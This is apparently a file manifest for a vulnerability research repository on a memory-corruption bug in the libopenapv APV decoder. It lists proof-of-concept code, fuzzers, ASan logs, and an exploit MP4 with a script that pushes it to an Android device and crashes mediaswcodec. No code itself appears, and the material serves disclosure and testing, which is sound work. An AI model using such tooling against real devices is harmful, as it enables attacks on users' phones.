poc_final.c Guard region PoC — 5 tests, runs without ASan
generate_overflow_mp4.py Generates exploit MP4 with AU_INFO dimension mismatch
deploy_exploit_mp4.sh One-shot: generate, push, and open exploit MP4 on Android device
valid.apv Valid 337-byte APV bitstream (64×64, YUV422, 10-bit)
apv-mp4/overflow_auinfo.mp4 Pre-built exploit MP4 — crashes mediaswcodec on pre-patch Android 16
REPRODUCE.md Step-by-step reproduction guide
asan_output.txt Captured ASan output from OOB Read PoC
asan_oob_write_output.txt Captured ASan output from OOB Write PoC
asan_mp4_output.txt Captured ASan output from MP4 PoC on ARM64 Android
poc_output.txt Output from guard-region PoC (no ASan)
fuzz_blackbox.c Blackbox fuzzer — dumb mutation, fork-isolated, finds crashes in seconds
fuzz_whitebox.c Coverage-guided fuzzer — AFL-style edge tracking, corpus evolution
fuzz_afl_harness.c AFL++ harness — standard file-input harness for AFL++ (instrumented or QEMU mode)
fuzz_aflpp_random.c AFL++ random metadata fuzzer — accepts any file, feeds raw bytes to oapvd_info
fuzz_libfuzzer.c libFuzzer harness — standard LLVMFuzzerTestOneInput entry point
crash-apv.mp4 Demo video: exploit MP4 crashing mediaswcodec on Android 16 emulator
poc-script-apv.mp4 Demo video: PoC script generating, pushing, and triggering the exploit

This research was conducted for educational purposes on isolated test builds of the vulnerable library. All testing was performed against locally built binaries of the open-source libopenapv project. No production devices or systems were targeted.